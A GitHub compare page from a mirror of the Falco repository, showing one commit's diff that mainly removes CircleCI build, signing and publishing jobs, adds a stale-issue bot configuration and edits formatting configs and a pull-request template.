mirror of
https://github.com/falcosecurity/falco.git
synced 2026-03-20 19:52:08 +00:00
Compare commits
1 Commits
remove-fnt
...
adding-ins
| Author | SHA1 | Date | |
|---|---|---|---|
|
3b804fe47f |
@@ -1,4 +0,0 @@
|
||||
approvers:
|
||||
- jonahjon
|
||||
reviewers:
|
||||
- jonahjon
|
||||
@@ -1,104 +1,40 @@
|
||||
version: 2.1
|
||||
version: 2
|
||||
jobs:
|
||||
"build-arm64":
|
||||
machine:
|
||||
enabled: true
|
||||
image: ubuntu-2004:202101-01
|
||||
resource_class: arm.medium
|
||||
steps:
|
||||
- checkout:
|
||||
path: /tmp/source-arm64/falco
|
||||
- run:
|
||||
name: Prepare project
|
||||
command: |
|
||||
mkdir -p /tmp/build-arm64 && mkdir -p /tmp/build-arm64/release && \
|
||||
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
|
||||
falcosecurity/falco-builder:latest \
|
||||
cmake
|
||||
- run:
|
||||
name: Build
|
||||
command: |
|
||||
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
|
||||
falcosecurity/falco-builder:latest \
|
||||
all
|
||||
- run:
|
||||
name: Run unit tests
|
||||
command: |
|
||||
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
|
||||
falcosecurity/falco-builder:latest \
|
||||
tests
|
||||
- run:
|
||||
name: Build packages
|
||||
command: |
|
||||
docker run -e BUILD_TYPE="release" -it -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
|
||||
falcosecurity/falco-builder:latest \
|
||||
package
|
||||
- run:
|
||||
name: Prepare Artifacts
|
||||
command: |
|
||||
mkdir -p /tmp/packages
|
||||
cp /tmp/build-arm64/release/*.deb /tmp/packages
|
||||
cp /tmp/build-arm64/release/*.tar.gz /tmp/packages
|
||||
cp /tmp/build-arm64/release/*.rpm /tmp/packages
|
||||
- store_artifacts:
|
||||
path: /tmp/packages
|
||||
destination: /packages
|
||||
- persist_to_workspace:
|
||||
root: /tmp
|
||||
paths:
|
||||
- build-arm64/release
|
||||
- source-arm64
|
||||
# Build a statically linked Falco release binary using musl
|
||||
# This build is 100% static, there are no host dependencies
|
||||
"build-musl":
|
||||
# Build using ubuntu LTS
|
||||
# This build is dynamic, most dependencies are taken from the OS
|
||||
"build/ubuntu-bionic":
|
||||
docker:
|
||||
- image: alpine:3.12
|
||||
- image: ubuntu:bionic
|
||||
steps:
|
||||
- checkout:
|
||||
path: /source-static/falco
|
||||
- checkout
|
||||
- run:
|
||||
name: Update base image
|
||||
command: apk update
|
||||
command: apt update -y
|
||||
- run:
|
||||
name: Install build dependencies
|
||||
command: apk add g++ gcc cmake make git bash perl linux-headers autoconf automake m4 libtool elfutils-dev libelf-static patch binutils
|
||||
name: Install dependencies
|
||||
command: apt install libssl-dev libyaml-dev libncurses-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm linux-headers-$(uname -r) libelf-dev cmake build-essential libcurl4-openssl-dev -y
|
||||
- run:
|
||||
name: Prepare project
|
||||
command: |
|
||||
mkdir -p /build-static/release
|
||||
cd /build-static/release
|
||||
cmake -DCPACK_GENERATOR=TGZ -DBUILD_BPF=Off -DBUILD_DRIVER=Off -DCMAKE_BUILD_TYPE=Release -DUSE_BUNDLED_DEPS=On -DMUSL_OPTIMIZED_BUILD=On -DFALCO_ETC_DIR=/etc/falco /source-static/falco
|
||||
mkdir build
|
||||
pushd build
|
||||
cmake ..
|
||||
popd
|
||||
- run:
|
||||
name: Build
|
||||
command: |
|
||||
cd /build-static/release
|
||||
pushd build
|
||||
make -j4 all
|
||||
- run:
|
||||
name: Package
|
||||
command: |
|
||||
cd /build-static/release
|
||||
make -j4 package
|
||||
popd
|
||||
- run:
|
||||
name: Run unit tests
|
||||
command: |
|
||||
cd /build-static/release
|
||||
pushd build
|
||||
make tests
|
||||
- run:
|
||||
name: Prepare artifacts
|
||||
command: |
|
||||
mkdir -p /tmp/packages
|
||||
cp /build-static/release/*.tar.gz /tmp/packages
|
||||
- store_artifacts:
|
||||
path: /tmp/packages
|
||||
destination: /packages
|
||||
- persist_to_workspace:
|
||||
root: /
|
||||
paths:
|
||||
- build-static/release
|
||||
- source-static
|
||||
popd
|
||||
# Build using our own builder base image using centos 7
|
||||
# This build is static, dependencies are bundled in the Falco binary
|
||||
"build-centos7":
|
||||
# This build is static, dependencies are bundled in the falco binary
|
||||
"build/centos7":
|
||||
docker:
|
||||
- image: falcosecurity/falco-builder:latest
|
||||
environment:
|
||||
@@ -133,8 +69,8 @@ jobs:
|
||||
- store_artifacts:
|
||||
path: /tmp/packages
|
||||
destination: /packages
|
||||
# Execute integration tests based on the build results coming from the "build-centos7" job
|
||||
"tests-integration":
|
||||
# Execute integration tests based on the build results coming from the "build/centos7" job
|
||||
"tests/integration":
|
||||
docker:
|
||||
- image: falcosecurity/falco-tester:latest
|
||||
environment:
|
||||
@@ -148,462 +84,12 @@ jobs:
|
||||
- run:
|
||||
name: Execute integration tests
|
||||
command: /usr/bin/entrypoint test
|
||||
- store_test_results:
|
||||
path: /build/release/integration-tests-xunit
|
||||
"tests-integration-static":
|
||||
docker:
|
||||
- image: falcosecurity/falco-tester:latest
|
||||
environment:
|
||||
SOURCE_DIR: "/source-static"
|
||||
BUILD_DIR: "/build-static"
|
||||
BUILD_TYPE: "release"
|
||||
SKIP_PACKAGES_TESTS: "true"
|
||||
SKIP_PLUGINS_TESTS: "true"
|
||||
steps:
|
||||
- setup_remote_docker
|
||||
- attach_workspace:
|
||||
at: /
|
||||
- run:
|
||||
name: Execute integration tests
|
||||
command: /usr/bin/entrypoint test
|
||||
- store_test_results:
|
||||
path: /build-static/release/integration-tests-xunit
|
||||
# Execute integration tests based on the build results coming from the "build-arm64" job
|
||||
"tests-integration-arm64":
|
||||
machine:
|
||||
enabled: true
|
||||
image: ubuntu-2004:202101-01
|
||||
resource_class: arm.medium
|
||||
steps:
|
||||
- attach_workspace:
|
||||
at: /tmp
|
||||
- run:
|
||||
name: Execute integration tests
|
||||
command: |
|
||||
docker run -e BUILD_TYPE="release" -e BUILD_DIR="/build" -e SOURCE_DIR="/source" -it -v /var/run/docker.sock:/var/run/docker.sock -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
|
||||
falcosecurity/falco-tester:latest \
|
||||
test
|
||||
- store_test_results:
|
||||
path: /tmp/build-arm64/release/integration-tests-xunit
|
||||
"tests-driver-loader-integration":
|
||||
machine:
|
||||
image: ubuntu-2004:202107-02
|
||||
steps:
|
||||
- attach_workspace:
|
||||
at: /tmp/ws
|
||||
- run:
|
||||
name: Execute driver-loader integration tests
|
||||
command: /tmp/ws/source/falco/test/driver-loader/run_test.sh /tmp/ws/build/release/
|
||||
# Code quality
|
||||
"quality-static-analysis":
|
||||
docker:
|
||||
- image: falcosecurity/falco-builder:latest
|
||||
environment:
|
||||
BUILD_TYPE: "release"
|
||||
steps:
|
||||
- run:
|
||||
name: Install cppcheck
|
||||
command: |
|
||||
yum update -y
|
||||
yum install epel-release -y
|
||||
yum install cppcheck cppcheck-htmlreport -y
|
||||
- checkout:
|
||||
path: /source/falco
|
||||
- run:
|
||||
name: Prepare project
|
||||
command: /usr/bin/entrypoint cmake
|
||||
- run:
|
||||
name: cppcheck
|
||||
command: /usr/bin/entrypoint cppcheck
|
||||
- run:
|
||||
name: cppcheck html report
|
||||
command: /usr/bin/entrypoint cppcheck_htmlreport
|
||||
- store_artifacts:
|
||||
path: /build/release/static-analysis-reports
|
||||
destination: /static-analysis-reports
|
||||
# Sign rpm packages
|
||||
"rpm-sign":
|
||||
docker:
|
||||
- image: falcosecurity/falco-builder:latest
|
||||
steps:
|
||||
- attach_workspace:
|
||||
at: /
|
||||
- run:
|
||||
name: Install rpmsign
|
||||
command: |
|
||||
yum update -y
|
||||
yum install rpm-sign -y
|
||||
- run:
|
||||
name: Prepare
|
||||
command: |
|
||||
echo "%_signature gpg" > ~/.rpmmacros
|
||||
echo "%_gpg_name Falcosecurity Package Signing" >> ~/.rpmmacros
|
||||
echo "%__gpg_sign_cmd %{__gpg} --force-v3-sigs --batch --no-armor --passphrase-fd 3 --no-secmem-warning -u \"%{_gpg_name}\" -sb --digest-algo sha256 %{__plaintext_filename}'" >> ~/.rpmmacros
|
||||
cat > ~/sign \<<EOF
|
||||
#!/usr/bin/expect -f
|
||||
spawn rpmsign --addsign {*}\$argv
|
||||
expect -exact "Enter pass phrase: "
|
||||
send -- "\n"
|
||||
expect eof
|
||||
EOF
|
||||
chmod +x ~/sign
|
||||
echo $GPG_KEY | base64 -d | gpg --import
|
||||
- run:
|
||||
name: Sign rpm x86_64
|
||||
command: |
|
||||
cd /build/release/
|
||||
~/sign *.rpm
|
||||
rpm --qf %{SIGPGP:pgpsig} -qp *.rpm | grep SHA256
|
||||
- run:
|
||||
name: Sign rpm arm64
|
||||
command: |
|
||||
cd /build-arm64/release/
|
||||
~/sign *.rpm
|
||||
rpm --qf %{SIGPGP:pgpsig} -qp *.rpm | grep SHA256
|
||||
- persist_to_workspace:
|
||||
root: /
|
||||
paths:
|
||||
- build/release/*.rpm
|
||||
- build-arm64/release/*.rpm
|
||||
# Publish the dev packages
|
||||
"publish-packages-dev":
|
||||
docker:
|
||||
- image: docker.io/centos:7
|
||||
steps:
|
||||
- attach_workspace:
|
||||
at: /
|
||||
- run:
|
||||
name: Setup
|
||||
command: |
|
||||
yum install epel-release -y
|
||||
yum update -y
|
||||
yum install createrepo gpg python python-pip -y
|
||||
pip install awscli==1.19.47
|
||||
echo $GPG_KEY | base64 -d | gpg --import
|
||||
- run:
|
||||
name: Publish rpm-dev
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
/source/falco/scripts/publish-rpm -f /build/release/falco-${FALCO_VERSION}-x86_64.rpm -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.rpm -r rpm-dev
|
||||
- run:
|
||||
name: Publish bin-dev
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
/source/falco/scripts/publish-bin -f /build/release/falco-${FALCO_VERSION}-x86_64.tar.gz -r bin-dev -a x86_64
|
||||
/source/falco/scripts/publish-bin -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.tar.gz -r bin-dev -a aarch64
|
||||
- run:
|
||||
name: Publish bin-static-dev
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build-static/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
cp -f /build-static/release/falco-${FALCO_VERSION}-x86_64.tar.gz /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz
|
||||
/source/falco/scripts/publish-bin -f /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz -r bin-dev -a x86_64
|
||||
"publish-packages-deb-dev":
|
||||
docker:
|
||||
- image: docker.io/debian:stable
|
||||
steps:
|
||||
- attach_workspace:
|
||||
at: /
|
||||
- run:
|
||||
name: Setup
|
||||
command: |
|
||||
apt update -y
|
||||
apt-get install apt-utils bzip2 gpg python python3-pip -y
|
||||
pip install awscli
|
||||
echo $GPG_KEY | base64 -d | gpg --import
|
||||
- run:
|
||||
name: Publish deb-dev
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
/source/falco/scripts/publish-deb -f /build/release/falco-${FALCO_VERSION}-x86_64.deb -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.deb -r deb-dev
|
||||
|
||||
# Publish docker packages
|
||||
"publish-docker-dev":
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
user: root
|
||||
steps:
|
||||
- attach_workspace:
|
||||
at: /
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 20.10.12
|
||||
- run:
|
||||
name: Prepare env
|
||||
command: |
|
||||
docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
|
||||
docker context create falco-env
|
||||
docker buildx create falco-env --driver docker-container --use
|
||||
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
|
||||
sudo apt update
|
||||
sudo apt install groff less python3-pip
|
||||
pip install awscli
|
||||
- run:
|
||||
name: Login to aws ECR
|
||||
command: |
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
|
||||
- run:
|
||||
name: Build and publish no-driver-dev
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
docker buildx build --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} --platform "arm64,amd64" --push \
|
||||
-t falcosecurity/falco-no-driver:master \
|
||||
-t falcosecurity/falco:master-slim \
|
||||
-t public.ecr.aws/falcosecurity/falco-no-driver:master \
|
||||
-t public.ecr.aws/falcosecurity/falco:master-slim \
|
||||
docker/no-driver
|
||||
- run:
|
||||
name: Build and publish dev
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
docker buildx build --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} --platform "arm64,amd64" --push \
|
||||
-t falcosecurity/falco:master \
|
||||
-t public.ecr.aws/falcosecurity/falco:master \
|
||||
docker/falco
|
||||
- run:
|
||||
name: Build and publish dev falco-driver-loader-dev
|
||||
command: |
|
||||
docker buildx build --build-arg FALCO_IMAGE_TAG=master --platform "arm64,amd64" --push \
|
||||
-t falcosecurity/falco-driver-loader:master \
|
||||
-t public.ecr.aws/falcosecurity/falco-driver-loader:master \
|
||||
docker/driver-loader
|
||||
|
||||
# Publish the packages
|
||||
"publish-packages":
|
||||
docker:
|
||||
- image: docker.io/centos:7
|
||||
steps:
|
||||
- attach_workspace:
|
||||
at: /
|
||||
- run:
|
||||
name: Setup
|
||||
command: |
|
||||
yum install epel-release -y
|
||||
yum update -y
|
||||
yum install createrepo gpg python python-pip -y
|
||||
pip install awscli==1.19.47
|
||||
echo $GPG_KEY | base64 -d | gpg --import
|
||||
- run:
|
||||
name: Publish rpm
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
/source/falco/scripts/publish-rpm -f /build/release/falco-${FALCO_VERSION}-x86_64.rpm -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.rpm -r rpm
|
||||
- run:
|
||||
name: Publish bin
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
/source/falco/scripts/publish-bin -f /build/release/falco-${FALCO_VERSION}-x86_64.tar.gz -r bin -a x86_64
|
||||
/source/falco/scripts/publish-bin -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.tar.gz -r bin -a aarch64
|
||||
- run:
|
||||
name: Publish bin-static
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build-static/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
cp -f /build-static/release/falco-${FALCO_VERSION}-x86_64.tar.gz /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz
|
||||
/source/falco/scripts/publish-bin -f /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz -r bin -a x86_64
|
||||
"publish-packages-deb":
|
||||
docker:
|
||||
- image: docker.io/debian:stable
|
||||
steps:
|
||||
- attach_workspace:
|
||||
at: /
|
||||
- run:
|
||||
name: Setup
|
||||
command: |
|
||||
apt update -y
|
||||
apt-get install apt-utils bzip2 gpg python python3-pip -y
|
||||
pip install awscli
|
||||
echo $GPG_KEY | base64 -d | gpg --import
|
||||
- run:
|
||||
name: Publish deb
|
||||
command: |
|
||||
FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
|
||||
/source/falco/scripts/publish-deb -f /build/release/falco-${FALCO_VERSION}-x86_64.deb -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.deb -r deb
|
||||
# Publish docker packages
|
||||
"publish-docker":
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
user: root
|
||||
steps:
|
||||
- attach_workspace:
|
||||
at: /
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 20.10.12
|
||||
- run:
|
||||
name: Prepare env
|
||||
command: |
|
||||
docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
|
||||
docker context create falco-env
|
||||
docker buildx create falco-env --driver docker-container --use
|
||||
echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
|
||||
sudo apt update
|
||||
sudo apt install groff less python3-pip
|
||||
pip install awscli
|
||||
- run:
|
||||
name: Login to aws ECR
|
||||
command: |
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
|
||||
- run:
|
||||
name: Build and publish no-driver
|
||||
command: |
|
||||
docker buildx build --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${CIRCLE_TAG} --platform "arm64,amd64" --push \
|
||||
-t "falcosecurity/falco-no-driver:${CIRCLE_TAG}" \
|
||||
-t falcosecurity/falco-no-driver:latest \
|
||||
-t "falcosecurity/falco:${CIRCLE_TAG}-slim" \
|
||||
-t "falcosecurity/falco:latest-slim" \
|
||||
-t "public.ecr.aws/falcosecurity/falco-no-driver:${CIRCLE_TAG}" \
|
||||
-t "public.ecr.aws/falcosecurity/falco-no-driver:latest" \
|
||||
-t "public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}-slim" \
|
||||
-t "public.ecr.aws/falcosecurity/falco:latest-slim" \
|
||||
docker/no-driver
|
||||
- run:
|
||||
name: Build and publish falco
|
||||
command: |
|
||||
docker buildx build --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} --platform "arm64,amd64" --push \
|
||||
-t "falcosecurity/falco:${CIRCLE_TAG}" \
|
||||
-t "falcosecurity/falco:latest" \
|
||||
-t "public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}" \
|
||||
-t "public.ecr.aws/falcosecurity/falco:latest" \
|
||||
docker/falco
|
||||
- run:
|
||||
name: Build and publish falco-driver-loader
|
||||
command: |
|
||||
docker buildx build --build-arg FALCO_IMAGE_TAG=${CIRCLE_TAG} --platform "arm64,amd64" --push \
|
||||
-t "falcosecurity/falco-driver-loader:${CIRCLE_TAG}" \
|
||||
-t "falcosecurity/falco-driver-loader:latest" \
|
||||
-t "public.ecr.aws/falcosecurity/falco-driver-loader:${CIRCLE_TAG}" \
|
||||
-t "public.ecr.aws/falcosecurity/falco-driver-loader:latest" \
|
||||
docker/driver-loader
|
||||
|
||||
workflows:
|
||||
version: 2.1
|
||||
version: 2
|
||||
build_and_test:
|
||||
jobs:
|
||||
- "build-musl"
|
||||
- "build-arm64"
|
||||
- "build-centos7"
|
||||
- "tests-integration":
|
||||
- "build/ubuntu-bionic"
|
||||
- "build/centos7"
|
||||
- "tests/integration":
|
||||
requires:
|
||||
- "build-centos7"
|
||||
- "tests-integration-arm64":
|
||||
requires:
|
||||
- "build-arm64"
|
||||
- "tests-integration-static":
|
||||
requires:
|
||||
- "build-musl"
|
||||
- "tests-driver-loader-integration":
|
||||
requires:
|
||||
- "build-centos7"
|
||||
- "rpm-sign":
|
||||
context: falco
|
||||
filters:
|
||||
tags:
|
||||
ignore: /.*/
|
||||
branches:
|
||||
only: master
|
||||
requires:
|
||||
- "tests-integration"
|
||||
- "tests-integration-arm64"
|
||||
- "publish-packages-dev":
|
||||
context:
|
||||
- falco
|
||||
- test-infra
|
||||
filters:
|
||||
tags:
|
||||
ignore: /.*/
|
||||
branches:
|
||||
only: master
|
||||
requires:
|
||||
- "rpm-sign"
|
||||
- "tests-integration-static"
|
||||
- "publish-packages-deb-dev":
|
||||
context:
|
||||
- falco
|
||||
- test-infra
|
||||
filters:
|
||||
tags:
|
||||
ignore: /.*/
|
||||
branches:
|
||||
only: master
|
||||
requires:
|
||||
- "tests-integration"
|
||||
- "tests-integration-arm64"
|
||||
- "publish-docker-dev":
|
||||
context:
|
||||
- falco
|
||||
- test-infra
|
||||
filters:
|
||||
tags:
|
||||
ignore: /.*/
|
||||
branches:
|
||||
only: master
|
||||
requires:
|
||||
- "publish-packages-dev"
|
||||
- "publish-packages-deb-dev"
|
||||
- "tests-driver-loader-integration"
|
||||
# - "quality/static-analysis" # This is temporarily disabled: https://github.com/falcosecurity/falco/issues/1526
|
||||
release:
|
||||
jobs:
|
||||
- "build-musl":
|
||||
filters:
|
||||
tags:
|
||||
only: /.*/
|
||||
branches:
|
||||
ignore: /.*/
|
||||
- "build-centos7":
|
||||
filters:
|
||||
tags:
|
||||
only: /.*/
|
||||
branches:
|
||||
ignore: /.*/
|
||||
- "build-arm64":
|
||||
filters:
|
||||
tags:
|
||||
only: /.*/
|
||||
branches:
|
||||
ignore: /.*/
|
||||
- "rpm-sign":
|
||||
context: falco
|
||||
requires:
|
||||
- "build-centos7"
|
||||
- "build-arm64"
|
||||
filters:
|
||||
tags:
|
||||
only: /.*/
|
||||
branches:
|
||||
ignore: /.*/
|
||||
- "publish-packages":
|
||||
context:
|
||||
- falco
|
||||
- test-infra
|
||||
requires:
|
||||
- "build-musl"
|
||||
- "rpm-sign"
|
||||
filters:
|
||||
tags:
|
||||
only: /.*/
|
||||
branches:
|
||||
ignore: /.*/
|
||||
- "publish-packages-deb":
|
||||
context:
|
||||
- falco
|
||||
- test-infra
|
||||
requires:
|
||||
- "build-centos7"
|
||||
- "build-arm64"
|
||||
filters:
|
||||
tags:
|
||||
only: /.*/
|
||||
branches:
|
||||
ignore: /.*/
|
||||
- "publish-docker":
|
||||
context:
|
||||
- falco
|
||||
- test-infra
|
||||
requires:
|
||||
- "publish-packages"
|
||||
- "publish-packages-deb"
|
||||
filters:
|
||||
tags:
|
||||
only: /.*/
|
||||
branches:
|
||||
ignore: /.*/
|
||||
- "build/centos7"
|
||||
|
||||
@@ -7,7 +7,7 @@ line_width = 120
|
||||
# How many spaces to tab for indent
|
||||
tab_size = 2
|
||||
|
||||
# If arg lists are longer than this, break them always
|
||||
# If arglists are longer than this, break them always
|
||||
max_subargs_per_line = 3
|
||||
|
||||
# If true, separate flow control names from their parentheses with a space
|
||||
@@ -21,7 +21,7 @@ separate_fn_name_with_space = False
|
||||
dangle_parens = False
|
||||
|
||||
# If the statement spelling length (including space and parenthesis is larger
|
||||
# than the tab width by more than this among, then force reject un-nested
|
||||
# than the tab width by more than this amoung, then force reject un-nested
|
||||
# layouts.
|
||||
max_prefix_chars = 2
|
||||
|
||||
@@ -54,7 +54,7 @@ always_wrap = []
|
||||
algorithm_order = [0, 1, 2, 3, 4]
|
||||
|
||||
# If true, the argument lists which are known to be sortable will be sorted
|
||||
# lexicographically
|
||||
# lexicographicall
|
||||
enable_sort = True
|
||||
|
||||
# If true, the parsers may infer whether or not an argument list is sortable
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
aks
|
||||
creat
|
||||
chage
|
||||
6
.github/PULL_REQUEST_TEMPLATE.md
vendored
6
.github/PULL_REQUEST_TEMPLATE.md
vendored
@@ -1,6 +1,6 @@
|
||||
<!-- Thanks for sending a pull request! Here are some tips for you:
|
||||
|
||||
1. If this is your first time, please read our contributor guidelines in the [CONTRIBUTING.md](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md) file and learn how to compile Falco from source [here](https://falco.org/docs/source).
|
||||
1. If this is your first time, please read our contributor guidelines in the [CONTRIBUTING.md](CONTRIBUTING.md) file and learn how to compile Falco from source [here](https://falco.org/docs/source).
|
||||
2. Please label this pull request according to what type of issue you are addressing.
|
||||
3. . Please add a release note!
|
||||
4. If the PR is unfinished while opening it specify a wip in the title before the actual title, for example, "wip: my awesome feature"
|
||||
@@ -40,8 +40,12 @@ Please remove the leading whitespace before the `/kind <>` you uncommented.
|
||||
|
||||
> /area engine
|
||||
|
||||
> /area examples
|
||||
|
||||
> /area rules
|
||||
|
||||
> /area integrations
|
||||
|
||||
> /area tests
|
||||
|
||||
> /area proposals
|
||||
|
||||
19
.github/stale.yml
vendored
Normal file
19
.github/stale.yml
vendored
Normal file
@@ -0,0 +1,19 @@
|
||||
# Number of days of inactivity before an issue becomes stale
|
||||
daysUntilStale: 60
|
||||
# Number of days of inactivity before a stale issue is closed
|
||||
daysUntilClose: 7
|
||||
# Issues with these labels will never be considered stale
|
||||
exemptLabels:
|
||||
- cncf
|
||||
- roadmap
|
||||
- enhancement
|
||||
- "help wanted"
|
||||
# Label to use when marking an issue as stale
|
||||
staleLabel: wontfix
|
||||
# Comment to post when marking an issue as stale. Set to `false` to disable
|
||||
markComment: >
|
||||
This issue has been automatically marked as stale because it has not had
|
||||
recent activity. It will be closed if no further activity occurs. Thank you
|
||||
for your contributions.
|
||||
# Comment to post when closing a stale issue. Set to `false` to disable
|
||||
closeComment: false
|
||||
170
.github/workflows/ci.yml
vendored
170
.github/workflows/ci.yml
vendored
@@ -1,170 +0,0 @@
|
||||
name: CI Build
|
||||
on:
|
||||
pull_request:
|
||||
branches: [master]
|
||||
push:
|
||||
branches: [master]
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build-minimal:
|
||||
runs-on: ubuntu-20.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update base image
|
||||
run: sudo apt update -y
|
||||
|
||||
- name: Install build dependencies
|
||||
run: sudo DEBIAN_FRONTEND=noninteractive apt install libjq-dev libyaml-cpp-dev libelf-dev cmake build-essential git -y
|
||||
|
||||
- name: Prepare project
|
||||
run: |
|
||||
mkdir build-minimal
|
||||
pushd build-minimal
|
||||
cmake -DMINIMAL_BUILD=On -DBUILD_BPF=Off -DBUILD_DRIVER=Off -DCMAKE_BUILD_TYPE=Release ..
|
||||
popd
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
pushd build-minimal
|
||||
make -j4 all
|
||||
popd
|
||||
|
||||
- name: Run unit tests
|
||||
run: |
|
||||
pushd build-minimal
|
||||
make tests
|
||||
popd
|
||||
|
||||
build-ubuntu-focal:
|
||||
runs-on: ubuntu-20.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update base image
|
||||
run: sudo apt update -y
|
||||
|
||||
- name: Install build dependencies
|
||||
run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
|
||||
|
||||
- name: Prepare project
|
||||
run: |
|
||||
mkdir build
|
||||
pushd build
|
||||
cmake -DBUILD_BPF=On ..
|
||||
popd
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
pushd build
|
||||
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
|
||||
popd
|
||||
|
||||
- name: Run unit tests
|
||||
run: |
|
||||
pushd build
|
||||
make tests
|
||||
popd
|
||||
|
||||
build-ubuntu-focal-debug:
|
||||
runs-on: ubuntu-20.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update base image
|
||||
run: sudo apt update -y
|
||||
|
||||
- name: Install build dependencies
|
||||
run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
|
||||
|
||||
- name: Prepare project
|
||||
run: |
|
||||
mkdir build
|
||||
pushd build
|
||||
cmake -DCMAKE_BUILD_TYPE=debug -DBUILD_BPF=On ..
|
||||
popd
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
pushd build
|
||||
KERNELDIR=/lib/modules/$(uname -r)/build make -j4 all
|
||||
popd
|
||||
|
||||
- name: Run unit tests
|
||||
run: |
|
||||
pushd build
|
||||
make tests
|
||||
popd
|
||||
|
||||
build-ubuntu-bionic:
|
||||
runs-on: ubuntu-18.04
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update base image
|
||||
run: sudo apt update -y
|
||||
|
||||
- name: Install build dependencies
|
||||
